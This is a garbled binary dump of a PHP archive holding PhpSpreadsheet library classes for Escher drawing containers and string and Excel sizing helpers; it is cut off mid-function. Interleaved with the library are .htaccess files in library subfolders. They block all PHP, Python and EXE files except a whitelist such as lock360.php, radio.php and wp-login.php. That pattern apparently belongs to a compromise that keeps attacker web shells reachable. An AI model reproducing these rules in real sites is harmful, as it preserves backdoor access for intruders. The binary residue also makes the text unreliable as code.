^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK 3u\9��ܤ � 1 Shared/Escher/DgContainer/SpgrContainer/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK 3u\; f�) ) 7 Shared/Escher/DgContainer/SpgrContainer/SpContainer.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet\Shared\Escher\DgContainer\SpgrContainer; use PhpOffice\PhpSpreadsheet\Shared\Escher\DgContainer\SpgrContainer; class SpContainer { /** * Parent Shape Group Container. * * @var SpgrContainer */ private $parent; /** * Is this a group shape? * * @var bool */ private $spgr = false; /** * Shape type. * * @var int */ private $spType; /** * Shape flag. * * @var int */ private $spFlag; /** * Shape index (usually group shape has index 0, and the rest: 1,2,3...). * * @var int */ private $spId; /** * Array of options. * * @var array */ private $OPT; /** * Cell coordinates of upper-left corner of shape, e.g. 'A1'. * * @var string */ private $startCoordinates; /** * Horizontal offset of upper-left corner of shape measured in 1/1024 of column width. * * @var int */ private $startOffsetX; /** * Vertical offset of upper-left corner of shape measured in 1/256 of row height. * * @var int */ private $startOffsetY; /** * Cell coordinates of bottom-right corner of shape, e.g. 'B2'. * * @var string */ private $endCoordinates; /** * Horizontal offset of bottom-right corner of shape measured in 1/1024 of column width. * * @var int */ private $endOffsetX; /** * Vertical offset of bottom-right corner of shape measured in 1/256 of row height. * * @var int */ private $endOffsetY; /** * Set parent Shape Group Container. * * @param SpgrContainer $parent */ public function setParent($parent): void { $this->parent = $parent; } /** * Get the parent Shape Group Container. * * @return SpgrContainer */ public function getParent() { return $this->parent; } /** * Set whether this is a group shape. * * @param bool $value */ public function setSpgr($value): void { $this->spgr = $value; } /** * Get whether this is a group shape. * * @return bool */ public function getSpgr() { return $this->spgr; } /** * Set the shape type. * * @param int $value */ public function setSpType($value): void { $this->spType = $value; } /** * Get the shape type. * * @return int */ public function getSpType() { return $this->spType; } /** * Set the shape flag. * * @param int $value */ public function setSpFlag($value): void { $this->spFlag = $value; } /** * Get the shape flag. * * @return int */ public function getSpFlag() { return $this->spFlag; } /** * Set the shape index. * * @param int $value */ public function setSpId($value): void { $this->spId = $value; } /** * Get the shape index. * * @return int */ public function getSpId() { return $this->spId; } /** * Set an option for the Shape Group Container. * * @param int $property The number specifies the option * @param mixed $value */ public function setOPT($property, $value): void { $this->OPT[$property] = $value; } /** * Get an option for the Shape Group Container. * * @param int $property The number specifies the option * * @return mixed */ public function getOPT($property) { if (isset($this->OPT[$property])) { return $this->OPT[$property]; } return null; } /** * Get the collection of options. * * @return array */ public function getOPTCollection() { return $this->OPT; } /** * Set cell coordinates of upper-left corner of shape. * * @param string $value eg: 'A1' */ public function setStartCoordinates($value): void { $this->startCoordinates = $value; } /** * Get cell coordinates of upper-left corner of shape. * * @return string */ public function getStartCoordinates() { return $this->startCoordinates; } /** * Set offset in x-direction of upper-left corner of shape measured in 1/1024 of column width. * * @param int $startOffsetX */ public function setStartOffsetX($startOffsetX): void { $this->startOffsetX = $startOffsetX; } /** * Get offset in x-direction of upper-left corner of shape measured in 1/1024 of column width. * * @return int */ public function getStartOffsetX() { return $this->startOffsetX; } /** * Set offset in y-direction of upper-left corner of shape measured in 1/256 of row height. * * @param int $startOffsetY */ public function setStartOffsetY($startOffsetY): void { $this->startOffsetY = $startOffsetY; } /** * Get offset in y-direction of upper-left corner of shape measured in 1/256 of row height. * * @return int */ public function getStartOffsetY() { return $this->startOffsetY; } /** * Set cell coordinates of bottom-right corner of shape. * * @param string $value eg: 'A1' */ public function setEndCoordinates($value): void { $this->endCoordinates = $value; } /** * Get cell coordinates of bottom-right corner of shape. * * @return string */ public function getEndCoordinates() { return $this->endCoordinates; } /** * Set offset in x-direction of bottom-right corner of shape measured in 1/1024 of column width. * * @param int $endOffsetX */ public function setEndOffsetX($endOffsetX): void { $this->endOffsetX = $endOffsetX; } /** * Get offset in x-direction of bottom-right corner of shape measured in 1/1024 of column width. * * @return int */ public function getEndOffsetX() { return $this->endOffsetX; } /** * Set offset in y-direction of bottom-right corner of shape measured in 1/256 of row height. * * @param int $endOffsetY */ public function setEndOffsetY($endOffsetY): void { $this->endOffsetY = $endOffsetY; } /** * Get offset in y-direction of bottom-right corner of shape measured in 1/256 of row height. * * @return int */ public function getEndOffsetY() { return $this->endOffsetY; } /** * Get the nesting level of this spContainer. This is the number of spgrContainers between this spContainer and * the dgContainer. A value of 1 = immediately within first spgrContainer * Higher nesting level occurs if and only if spContainer is part of a shape group. * * @return int Nesting level */ public function getNestingLevel() { $nestingLevel = 0; $parent = $this->getParent(); while ($parent instanceof SpgrContainer) { ++$nestingLevel; $parent = $parent->getParent(); } return $nestingLevel; } } PK 3u\�E� � + Shared/Escher/DgContainer/SpgrContainer.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet\Shared\Escher\DgContainer; class SpgrContainer { /** * Parent Shape Group Container. * * @var null|SpgrContainer */ private $parent; /** * Shape Container collection. * * @var array */ private $children = []; /** * Set parent Shape Group Container. */ public function setParent(?self $parent): void { $this->parent = $parent; } /** * Get the parent Shape Group Container if any. */ public function getParent(): ?self { return $this->parent; } /** * Add a child. This will be either spgrContainer or spContainer. * * @param mixed $child */ public function addChild($child): void { $this->children[] = $child; $child->setParent($this); } /** * Get collection of Shape Containers. */ public function getChildren(): array { return $this->children; } /** * Recursively get all spContainers within this spgrContainer. * * @return SpgrContainer\SpContainer[] */ public function getAllSpContainers() { $allSpContainers = []; foreach ($this->children as $child) { if ($child instanceof self) { $allSpContainers = array_merge($allSpContainers, $child->getAllSpContainers()); } else { $allSpContainers[] = $child; } } return $allSpContainers; } } PK 3u\#�*N$ $ Shared/Escher/DggContainer.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet\Shared\Escher; class DggContainer { /** * Maximum shape index of all shapes in all drawings increased by one. * * @var int */ private $spIdMax; /** * Total number of drawings saved. * * @var int */ private $cDgSaved; /** * Total number of shapes saved (including group shapes). * * @var int */ private $cSpSaved; /** * BLIP Store Container. * * @var ?DggContainer\BstoreContainer */ private $bstoreContainer; /** * Array of options for the drawing group. * * @var array */ private $OPT = []; /** * Array of identifier clusters containg information about the maximum shape identifiers. * * @var array */ private $IDCLs = []; /** * Get maximum shape index of all shapes in all drawings (plus one). * * @return int */ public function getSpIdMax() { return $this->spIdMax; } /** * Set maximum shape index of all shapes in all drawings (plus one). * * @param int $value */ public function setSpIdMax($value): void { $this->spIdMax = $value; } /** * Get total number of drawings saved. * * @return int */ public function getCDgSaved() { return $this->cDgSaved; } /** * Set total number of drawings saved. * * @param int $value */ public function setCDgSaved($value): void { $this->cDgSaved = $value; } /** * Get total number of shapes saved (including group shapes). * * @return int */ public function getCSpSaved() { return $this->cSpSaved; } /** * Set total number of shapes saved (including group shapes). * * @param int $value */ public function setCSpSaved($value): void { $this->cSpSaved = $value; } /** * Get BLIP Store Container. * * @return ?DggContainer\BstoreContainer */ public function getBstoreContainer() { return $this->bstoreContainer; } /** * Set BLIP Store Container. * * @param DggContainer\BstoreContainer $bstoreContainer */ public function setBstoreContainer($bstoreContainer): void { $this->bstoreContainer = $bstoreContainer; } /** * Set an option for the drawing group. * * @param int $property The number specifies the option * @param mixed $value */ public function setOPT($property, $value): void { $this->OPT[$property] = $value; } /** * Get an option for the drawing group. * * @param int $property The number specifies the option * * @return mixed */ public function getOPT($property) { if (isset($this->OPT[$property])) { return $this->OPT[$property]; } return null; } /** * Get identifier clusters. * * @return array */ public function getIDCLs() { return $this->IDCLs; } /** * Set identifier clusters. [<drawingId> => <max shape id>, ...]. * * @param array $IDCLs */ public function setIDCLs($IDCLs): void { $this->IDCLs = $IDCLs; } } PK 3u\�'>o\ o\ Shared/StringHelper.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet\Shared; class StringHelper { /** * Control characters array. * * @var string[] */ private static $controlCharacters = []; /** * SYLK Characters array. * * @var array */ private static $SYLKCharacters = []; /** * Decimal separator. * * @var ?string */ private static $decimalSeparator; /** * Thousands separator. * * @var ?string */ private static $thousandsSeparator; /** * Currency code. * * @var string */ private static $currencyCode; /** * Is iconv extension avalable? * * @var ?bool */ private static $isIconvEnabled; /** * iconv options. * * @var string */ private static $iconvOptions = '//IGNORE//TRANSLIT'; /** * Build control characters array. */ private static function buildControlCharacters(): void { for ($i = 0; $i <= 31; ++$i) { if ($i != 9 && $i != 10 && $i != 13) { $find = '_x' . sprintf('%04s', strtoupper(dechex($i))) . '_'; $replace = chr($i); self::$controlCharacters[$find] = $replace; } } } /** * Build SYLK characters array. */ private static function buildSYLKCharacters(): void { self::$SYLKCharacters = [ "\x1B 0" => chr(0), "\x1B 1" => chr(1), "\x1B 2" => chr(2), "\x1B 3" => chr(3), "\x1B 4" => chr(4), "\x1B 5" => chr(5), "\x1B 6" => chr(6), "\x1B 7" => chr(7), "\x1B 8" => chr(8), "\x1B 9" => chr(9), "\x1B :" => chr(10), "\x1B ;" => chr(11), "\x1B <" => chr(12), "\x1B =" => chr(13), "\x1B >" => chr(14), "\x1B ?" => chr(15), "\x1B!0" => chr(16), "\x1B!1" => chr(17), "\x1B!2" => chr(18), "\x1B!3" => chr(19), "\x1B!4" => chr(20), "\x1B!5" => chr(21), "\x1B!6" => chr(22), "\x1B!7" => chr(23), "\x1B!8" => chr(24), "\x1B!9" => chr(25), "\x1B!:" => chr(26), "\x1B!;" => chr(27), "\x1B!<" => chr(28), "\x1B!=" => chr(29), "\x1B!>" => chr(30), "\x1B!?" => chr(31), "\x1B'?" => chr(127), "\x1B(0" => '€', // 128 in CP1252 "\x1B(2" => '‚', // 130 in CP1252 "\x1B(3" => 'ƒ', // 131 in CP1252 "\x1B(4" => '„', // 132 in CP1252 "\x1B(5" => '…', // 133 in CP1252 "\x1B(6" => '†', // 134 in CP1252 "\x1B(7" => '‡', // 135 in CP1252 "\x1B(8" => 'ˆ', // 136 in CP1252 "\x1B(9" => '‰', // 137 in CP1252 "\x1B(:" => 'Š', // 138 in CP1252 "\x1B(;" => '‹', // 139 in CP1252 "\x1BNj" => 'Œ', // 140 in CP1252 "\x1B(>" => 'Ž', // 142 in CP1252 "\x1B)1" => '‘', // 145 in CP1252 "\x1B)2" => '’', // 146 in CP1252 "\x1B)3" => '“', // 147 in CP1252 "\x1B)4" => '”', // 148 in CP1252 "\x1B)5" => '•', // 149 in CP1252 "\x1B)6" => '–', // 150 in CP1252 "\x1B)7" => '—', // 151 in CP1252 "\x1B)8" => '˜', // 152 in CP1252 "\x1B)9" => '™', // 153 in CP1252 "\x1B):" => 'š', // 154 in CP1252 "\x1B);" => '›', // 155 in CP1252 "\x1BNz" => 'œ', // 156 in CP1252 "\x1B)>" => 'ž', // 158 in CP1252 "\x1B)?" => 'Ÿ', // 159 in CP1252 "\x1B*0" => ' ', // 160 in CP1252 "\x1BN!" => '¡', // 161 in CP1252 "\x1BN\"" => '¢', // 162 in CP1252 "\x1BN#" => '£', // 163 in CP1252 "\x1BN(" => '¤', // 164 in CP1252 "\x1BN%" => '¥', // 165 in CP1252 "\x1B*6" => '¦', // 166 in CP1252 "\x1BN'" => '§', // 167 in CP1252 "\x1BNH " => '¨', // 168 in CP1252 "\x1BNS" => '©', // 169 in CP1252 "\x1BNc" => 'ª', // 170 in CP1252 "\x1BN+" => '«', // 171 in CP1252 "\x1B*<" => '¬', // 172 in CP1252 "\x1B*=" => '', // 173 in CP1252 "\x1BNR" => '®', // 174 in CP1252 "\x1B*?" => '¯', // 175 in CP1252 "\x1BN0" => '°', // 176 in CP1252 "\x1BN1" => '±', // 177 in CP1252 "\x1BN2" => '²', // 178 in CP1252 "\x1BN3" => '³', // 179 in CP1252 "\x1BNB " => '´', // 180 in CP1252 "\x1BN5" => 'µ', // 181 in CP1252 "\x1BN6" => '¶', // 182 in CP1252 "\x1BN7" => '·', // 183 in CP1252 "\x1B+8" => '¸', // 184 in CP1252 "\x1BNQ" => '¹', // 185 in CP1252 "\x1BNk" => 'º', // 186 in CP1252 "\x1BN;" => '»', // 187 in CP1252 "\x1BN<" => '¼', // 188 in CP1252 "\x1BN=" => '½', // 189 in CP1252 "\x1BN>" => '¾', // 190 in CP1252 "\x1BN?" => '¿', // 191 in CP1252 "\x1BNAA" => 'À', // 192 in CP1252 "\x1BNBA" => 'Á', // 193 in CP1252 "\x1BNCA" => 'Â', // 194 in CP1252 "\x1BNDA" => 'Ã', // 195 in CP1252 "\x1BNHA" => 'Ä', // 196 in CP1252 "\x1BNJA" => 'Å', // 197 in CP1252 "\x1BNa" => 'Æ', // 198 in CP1252 "\x1BNKC" => 'Ç', // 199 in CP1252 "\x1BNAE" => 'È', // 200 in CP1252 "\x1BNBE" => 'É', // 201 in CP1252 "\x1BNCE" => 'Ê', // 202 in CP1252 "\x1BNHE" => 'Ë', // 203 in CP1252 "\x1BNAI" => 'Ì', // 204 in CP1252 "\x1BNBI" => 'Í', // 205 in CP1252 "\x1BNCI" => 'Î', // 206 in CP1252 "\x1BNHI" => 'Ï', // 207 in CP1252 "\x1BNb" => 'Ð', // 208 in CP1252 "\x1BNDN" => 'Ñ', // 209 in CP1252 "\x1BNAO" => 'Ò', // 210 in CP1252 "\x1BNBO" => 'Ó', // 211 in CP1252 "\x1BNCO" => 'Ô', // 212 in CP1252 "\x1BNDO" => 'Õ', // 213 in CP1252 "\x1BNHO" => 'Ö', // 214 in CP1252 "\x1B-7" => '×', // 215 in CP1252 "\x1BNi" => 'Ø', // 216 in CP1252 "\x1BNAU" => 'Ù', // 217 in CP1252 "\x1BNBU" => 'Ú', // 218 in CP1252 "\x1BNCU" => 'Û', // 219 in CP1252 "\x1BNHU" => 'Ü', // 220 in CP1252 "\x1B-=" => 'Ý', // 221 in CP1252 "\x1BNl" => 'Þ', // 222 in CP1252 "\x1BN{" => 'ß', // 223 in CP1252 "\x1BNAa" => 'à', // 224 in CP1252 "\x1BNBa" => 'á', // 225 in CP1252 "\x1BNCa" => 'â', // 226 in CP1252 "\x1BNDa" => 'ã', // 227 in CP1252 "\x1BNHa" => 'ä', // 228 in CP1252 "\x1BNJa" => 'å', // 229 in CP1252 "\x1BNq" => 'æ', // 230 in CP1252 "\x1BNKc" => 'ç', // 231 in CP1252 "\x1BNAe" => 'è', // 232 in CP1252 "\x1BNBe" => 'é', // 233 in CP1252 "\x1BNCe" => 'ê', // 234 in CP1252 "\x1BNHe" => 'ë', // 235 in CP1252 "\x1BNAi" => 'ì', // 236 in CP1252 "\x1BNBi" => 'í', // 237 in CP1252 "\x1BNCi" => 'î', // 238 in CP1252 "\x1BNHi" => 'ï', // 239 in CP1252 "\x1BNs" => 'ð', // 240 in CP1252 "\x1BNDn" => 'ñ', // 241 in CP1252 "\x1BNAo" => 'ò', // 242 in CP1252 "\x1BNBo" => 'ó', // 243 in CP1252 "\x1BNCo" => 'ô', // 244 in CP1252 "\x1BNDo" => 'õ', // 245 in CP1252 "\x1BNHo" => 'ö', // 246 in CP1252 "\x1B/7" => '÷', // 247 in CP1252 "\x1BNy" => 'ø', // 248 in CP1252 "\x1BNAu" => 'ù', // 249 in CP1252 "\x1BNBu" => 'ú', // 250 in CP1252 "\x1BNCu" => 'û', // 251 in CP1252 "\x1BNHu" => 'ü', // 252 in CP1252 "\x1B/=" => 'ý', // 253 in CP1252 "\x1BN|" => 'þ', // 254 in CP1252 "\x1BNHy" => 'ÿ', // 255 in CP1252 ]; } /** * Get whether iconv extension is available. * * @return bool */ public static function getIsIconvEnabled() { if (isset(self::$isIconvEnabled)) { return self::$isIconvEnabled; } // Assume no problems with iconv self::$isIconvEnabled = true; // Fail if iconv doesn't exist if (!function_exists('iconv')) { self::$isIconvEnabled = false; } elseif (!@iconv('UTF-8', 'UTF-16LE', 'x')) { // Sometimes iconv is not working, and e.g. iconv('UTF-8', 'UTF-16LE', 'x') just returns false, self::$isIconvEnabled = false; } elseif (defined('PHP_OS') && @stristr(PHP_OS, 'AIX') && defined('ICONV_IMPL') && (@strcasecmp(ICONV_IMPL, 'unknown') == 0) && defined('ICONV_VERSION') && (@strcasecmp(ICONV_VERSION, 'unknown') == 0)) { // CUSTOM: IBM AIX iconv() does not work self::$isIconvEnabled = false; } // Deactivate iconv default options if they fail (as seen on IMB i) if (self::$isIconvEnabled && !@iconv('UTF-8', 'UTF-16LE' . self::$iconvOptions, 'x')) { self::$iconvOptions = ''; } return self::$isIconvEnabled; } private static function buildCharacterSets(): void { if (empty(self::$controlCharacters)) { self::buildControlCharacters(); } if (empty(self::$SYLKCharacters)) { self::buildSYLKCharacters(); } } /** * Convert from OpenXML escaped control character to PHP control character. * * Excel 2007 team: * ---------------- * That's correct, control characters are stored directly in the shared-strings table. * We do encode characters that cannot be represented in XML using the following escape sequence: * _xHHHH_ where H represents a hexadecimal character in the character's value... * So you could end up with something like _x0008_ in a string (either in a cell value (<v>) * element or in the shared string <t> element. * * @param string $textValue Value to unescape * * @return string */ public static function controlCharacterOOXML2PHP($textValue) { self::buildCharacterSets(); return str_replace(array_keys(self::$controlCharacters), array_values(self::$controlCharacters), $textValue); } /** * Convert from PHP control character to OpenXML escaped control character. * * Excel 2007 team: * ---------------- * That's correct, control characters are stored directly in the shared-strings table. * We do encode characters that cannot be represented in XML using the following escape sequence: * _xHHHH_ where H represents a hexadecimal character in the character's value... * So you could end up with something like _x0008_ in a string (either in a cell value (<v>) * element or in the shared string <t> element. * * @param string $textValue Value to escape * * @return string */ public static function controlCharacterPHP2OOXML($textValue) { self::buildCharacterSets(); return str_replace(array_values(self::$controlCharacters), array_keys(self::$controlCharacters), $textValue); } /** * Try to sanitize UTF8, replacing invalid sequences with Unicode substitution characters. */ public static function sanitizeUTF8(string $textValue): string { $textValue = str_replace(["\xef\xbf\xbe", "\xef\xbf\xbf"], "\xef\xbf\xbd", $textValue); $subst = mb_substitute_character(); // default is question mark mb_substitute_character(65533); // Unicode substitution character // Phpstan does not think this can return false. $returnValue = mb_convert_encoding($textValue, 'UTF-8', 'UTF-8'); mb_substitute_character(/** @scrutinizer ignore-type */ $subst); return self::returnString($returnValue); } /** * Strictly to satisfy Scrutinizer. * * @param mixed $value */ private static function returnString($value): string { return is_string($value) ? $value : ''; } /** * Check if a string contains UTF8 data. */ public static function isUTF8(string $textValue): bool { return $textValue === self::sanitizeUTF8($textValue); } /** * Formats a numeric value as a string for output in various output writers forcing * point as decimal separator in case locale is other than English. * * @param float|int|string $numericValue */ public static function formatNumber($numericValue): string { if (is_float($numericValue)) { return str_replace(',', '.', (string) $numericValue); } return (string) $numericValue; } /** * Converts a UTF-8 string into BIFF8 Unicode string data (8-bit string length) * Writes the string using uncompressed notation, no rich text, no Asian phonetics * If mbstring extension is not available, ASCII is assumed, and compressed notation is used * although this will give wrong results for non-ASCII strings * see OpenOffice.org's Documentation of the Microsoft Excel File Format, sect. 2.5.3. * * @param string $textValue UTF-8 encoded string * @param mixed[] $arrcRuns Details of rich text runs in $value */ public static function UTF8toBIFF8UnicodeShort(string $textValue, array $arrcRuns = []): string { // character count $ln = self::countCharacters($textValue, 'UTF-8'); // option flags if (empty($arrcRuns)) { $data = pack('CC', $ln, 0x0001); // characters $data .= self::convertEncoding($textValue, 'UTF-16LE', 'UTF-8'); } else { $data = pack('vC', $ln, 0x09); $data .= pack('v', count($arrcRuns)); // characters $data .= self::convertEncoding($textValue, 'UTF-16LE', 'UTF-8'); foreach ($arrcRuns as $cRun) { $data .= pack('v', $cRun['strlen']); $data .= pack('v', $cRun['fontidx']); } } return $data; } /** * Converts a UTF-8 string into BIFF8 Unicode string data (16-bit string length) * Writes the string using uncompressed notation, no rich text, no Asian phonetics * If mbstring extension is not available, ASCII is assumed, and compressed notation is used * although this will give wrong results for non-ASCII strings * see OpenOffice.org's Documentation of the Microsoft Excel File Format, sect. 2.5.3. * * @param string $textValue UTF-8 encoded string */ public static function UTF8toBIFF8UnicodeLong(string $textValue): string { // character count $ln = self::countCharacters($textValue, 'UTF-8'); // characters $chars = self::convertEncoding($textValue, 'UTF-16LE', 'UTF-8'); return pack('vC', $ln, 0x0001) . $chars; } /** * Convert string from one encoding to another. * * @param string $to Encoding to convert to, e.g. 'UTF-8' * @param string $from Encoding to convert from, e.g. 'UTF-16LE' */ public static function convertEncoding(string $textValue, string $to, string $from): string { if (self::getIsIconvEnabled()) { $result = iconv($from, $to . self::$iconvOptions, $textValue); if (false !== $result) { return $result; } } return self::returnString(mb_convert_encoding($textValue, $to, $from)); } /** * Get character count. * * @param string $encoding Encoding * * @return int Character count */ public static function countCharacters(string $textValue, string $encoding = 'UTF-8'): int { return mb_strlen($textValue, $encoding); } /** * Get character count using mb_strwidth rather than mb_strlen. * * @param string $encoding Encoding * * @return int Character count */ public static function countCharactersDbcs(string $textValue, string $encoding = 'UTF-8'): int { return mb_strwidth($textValue, $encoding); } /** * Get a substring of a UTF-8 encoded string. * * @param string $textValue UTF-8 encoded string * @param int $offset Start offset * @param ?int $length Maximum number of characters in substring */ public static function substring(string $textValue, int $offset, ?int $length = 0): string { return mb_substr($textValue, $offset, $length, 'UTF-8'); } /** * Convert a UTF-8 encoded string to upper case. * * @param string $textValue UTF-8 encoded string */ public static function strToUpper(string $textValue): string { return mb_convert_case($textValue, MB_CASE_UPPER, 'UTF-8'); } /** * Convert a UTF-8 encoded string to lower case. * * @param string $textValue UTF-8 encoded string */ public static function strToLower(string $textValue): string { return mb_convert_case($textValue, MB_CASE_LOWER, 'UTF-8'); } /** * Convert a UTF-8 encoded string to title/proper case * (uppercase every first character in each word, lower case all other characters). * * @param string $textValue UTF-8 encoded string */ public static function strToTitle(string $textValue): string { return mb_convert_case($textValue, MB_CASE_TITLE, 'UTF-8'); } public static function mbIsUpper(string $character): bool { return mb_strtolower($character, 'UTF-8') !== $character; } /** * Splits a UTF-8 string into an array of individual characters. */ public static function mbStrSplit(string $string): array { // Split at all position not after the start: ^ // and not before the end: $ $split = preg_split('/(?<!^)(?!$)/u', $string); return ($split === false) ? [] : $split; } /** * Reverse the case of a string, so that all uppercase characters become lowercase * and all lowercase characters become uppercase. * * @param string $textValue UTF-8 encoded string */ public static function strCaseReverse(string $textValue): string { $characters = self::mbStrSplit($textValue); foreach ($characters as &$character) { if (self::mbIsUpper($character)) { $character = mb_strtolower($character, 'UTF-8'); } else { $character = mb_strtoupper($character, 'UTF-8'); } } return implode('', $characters); } /** * Get the decimal separator. If it has not yet been set explicitly, try to obtain number * formatting information from locale. */ public static function getDecimalSeparator(): string { if (!isset(self::$decimalSeparator)) { $localeconv = localeconv(); self::$decimalSeparator = ($localeconv['decimal_point'] != '') ? $localeconv['decimal_point'] : $localeconv['mon_decimal_point']; if (self::$decimalSeparator == '') { // Default to . self::$decimalSeparator = '.'; } } return self::$decimalSeparator; } /** * Set the decimal separator. Only used by NumberFormat::toFormattedString() * to format output by \PhpOffice\PhpSpreadsheet\Writer\Html and \PhpOffice\PhpSpreadsheet\Writer\Pdf. * * @param string $separator Character for decimal separator */ public static function setDecimalSeparator(string $separator): void { self::$decimalSeparator = $separator; } /** * Get the thousands separator. If it has not yet been set explicitly, try to obtain number * formatting information from locale. */ public static function getThousandsSeparator(): string { if (!isset(self::$thousandsSeparator)) { $localeconv = localeconv(); self::$thousandsSeparator = ($localeconv['thousands_sep'] != '') ? $localeconv['thousands_sep'] : $localeconv['mon_thousands_sep']; if (self::$thousandsSeparator == '') { // Default to . self::$thousandsSeparator = ','; } } return self::$thousandsSeparator; } /** * Set the thousands separator. Only used by NumberFormat::toFormattedString() * to format output by \PhpOffice\PhpSpreadsheet\Writer\Html and \PhpOffice\PhpSpreadsheet\Writer\Pdf. * * @param string $separator Character for thousands separator */ public static function setThousandsSeparator(string $separator): void { self::$thousandsSeparator = $separator; } /** * Get the currency code. If it has not yet been set explicitly, try to obtain the * symbol information from locale. */ public static function getCurrencyCode(): string { if (!empty(self::$currencyCode)) { return self::$currencyCode; } self::$currencyCode = '$'; $localeconv = localeconv(); if (!empty($localeconv['currency_symbol'])) { self::$currencyCode = $localeconv['currency_symbol']; return self::$currencyCode; } if (!empty($localeconv['int_curr_symbol'])) { self::$currencyCode = $localeconv['int_curr_symbol']; return self::$currencyCode; } return self::$currencyCode; } /** * Set the currency code. Only used by NumberFormat::toFormattedString() * to format output by \PhpOffice\PhpSpreadsheet\Writer\Html and \PhpOffice\PhpSpreadsheet\Writer\Pdf. * * @param string $currencyCode Character for currency code */ public static function setCurrencyCode(string $currencyCode): void { self::$currencyCode = $currencyCode; } /** * Convert SYLK encoded string to UTF-8. * * @param string $textValue SYLK encoded string * * @return string UTF-8 encoded string */ public static function SYLKtoUTF8(string $textValue): string { self::buildCharacterSets(); // If there is no escape character in the string there is nothing to do if (strpos($textValue, '') === false) { return $textValue; } foreach (self::$SYLKCharacters as $k => $v) { $textValue = str_replace($k, $v, $textValue); } return $textValue; } /** * Retrieve any leading numeric part of a string, or return the full string if no leading numeric * (handles basic integer or float, but not exponent or non decimal). * * @param string $textValue * * @return mixed string or only the leading numeric part of the string */ public static function testStringAsNumeric($textValue) { if (is_numeric($textValue)) { return $textValue; } $v = (float) $textValue; return (is_numeric(substr($textValue, 0, strlen((string) $v)))) ? $v : $textValue; } } PK 3u\�;N� � Shared/IntOrFloat.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet\Shared; class IntOrFloat { /** * Help some functions with large results operate correctly on 32-bit, * by returning result as int when possible, float otherwise. * * @param float|int $value * * @return float|int */ public static function evaluate($value) { $iValue = (int) $value; return ($value == $iValue) ? $iValue : $value; } } PK 3u\ڲ��- �- Shared/Xls.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet\Shared; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Helper\Dimension; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class Xls { /** * Get the width of a column in pixels. We use the relationship y = ceil(7x) where * x is the width in intrinsic Excel units (measuring width in number of normal characters) * This holds for Arial 10. * * @param Worksheet $worksheet The sheet * @param string $col The column * * @return int The width in pixels */ public static function sizeCol(Worksheet $worksheet, $col = 'A') { // default font of the workbook $font = $worksheet->getParentOrThrow()->getDefaultStyle()->getFont(); $columnDimensions = $worksheet->getColumnDimensions(); // first find the true column width in pixels (uncollapsed and unhidden) if (isset($columnDimensions[$col]) && $columnDimensions[$col]->getWidth() != -1) { // then we have column dimension with explicit width $columnDimension = $columnDimensions[$col]; $width = $columnDimension->getWidth(); $pixelWidth = Drawing::cellDimensionToPixels($width, $font); } elseif ($worksheet->getDefaultColumnDimension()->getWidth() != -1) { // then we have default column dimension with explicit width $defaultColumnDimension = $worksheet->getDefaultColumnDimension(); $width = $defaultColumnDimension->getWidth(); $pixelWidth = Drawing::cellDimensionToPixels($width, $font); } else { // we don't even have any default column dimension. Width depends on default font $pixelWidth = Font::getDefaultColumnWidthByFont($font, true); } // now find the effective column width in pixels if (isset($columnDimensions[$col]) && !$columnDimensions[$col]->getVisible()) { $effectivePixelWidth = 0; } else { $effectivePixelWidth = $pixelWidth; } return $effectivePixelWidth; } /** * Convert the height of a cell from user's units to pixels. By interpolation * the relationship is: y = 4/3x. If the height hasn't been set by the user we * use the default value. If the row is hidden we use a value of zero. * * @param Worksheet $worksheet The sheet * @param int $row The row index (1-based) * * @return int The width in pixels */ public static function sizeRow(Worksheet $worksheet, $row = 1) { // default font of the workbook $font = $worksheet->getParentOrThrow()->getDefaultStyle()->getFont(); $rowDimensions = $worksheet->getRowDimensions(); // first find the true row height in pixels (uncollapsed and unhidden) if (isset($rowDimensions[$row]) && $rowDimensions[$row]->getRowHeight() != -1) { // then we have a row dimension $rowDimension = $rowDimensions[$row]; $rowHeight = $rowDimension->getRowHeight(); $pixelRowHeight = (int) ceil(4 * $rowHeight / 3); // here we assume Arial 10 } elseif ($worksheet->getDefaultRowDimension()->getRowHeight() != -1) { // then we have a default row dimension with explicit height $defaultRowDimension = $worksheet->getDefaultRowDimension(); $pixelRowHeight = $defaultRowDimension->getRowHeight(Dimension::UOM_PIXELS); } else { // we don't even have any default row dimension. Height depends on default font $pointRowHeight = Font::getDefaultRowHeightByFont($font); $pixelRowHeight = Font::fontSizeToPixels((int) $pointRowHeight); } // now find the effective row height in pixels if (isset($rowDimensions[$row]) && !$rowDimensions[$row]->getVisible()) { $effectivePixelRowHeight = 0; } else { $effectivePixelRowHeight = $pixelRowHeight; } return (int) $effectivePixelRowHeight; } /** * Get the horizontal distance in pixels between two anchors * The distanceX is found as sum of all the spanning columns widths minus correction for the two offsets. * * @param string $startColumn * @param int $startOffsetX Offset within start cell measured in 1/1024 of the cell width * @param string $endColumn * @param int $endOffsetX Offset within end cell measured in 1/1024 of the cell width * * @return int Horizontal measured in pixels */ public static function getDistanceX(Worksheet $worksheet, $startColumn = 'A', $startOffsetX = 0, $endColumn = 'A', $endOffsetX = 0) { $distanceX = 0; // add the widths of the spanning columns $startColumnIndex = Coordinate::columnIndexFromString($startColumn); $endColumnIndex = Coordinate::columnIndexFromString($endColumn); for ($i = $startColumnIndex; $i <= $endColumnIndex; ++$i) { $distanceX += self::sizeCol($worksheet, Coordinate::stringFromColumnIndex($i)); } // correct for offsetX in startcell $distanceX -= (int) floor(self::sizeCol($worksheet, $startColumn) * $startOffsetX / 1024); // correct for offsetX in endcell $distanceX -= (int) floor(self::sizeCol($worksheet, 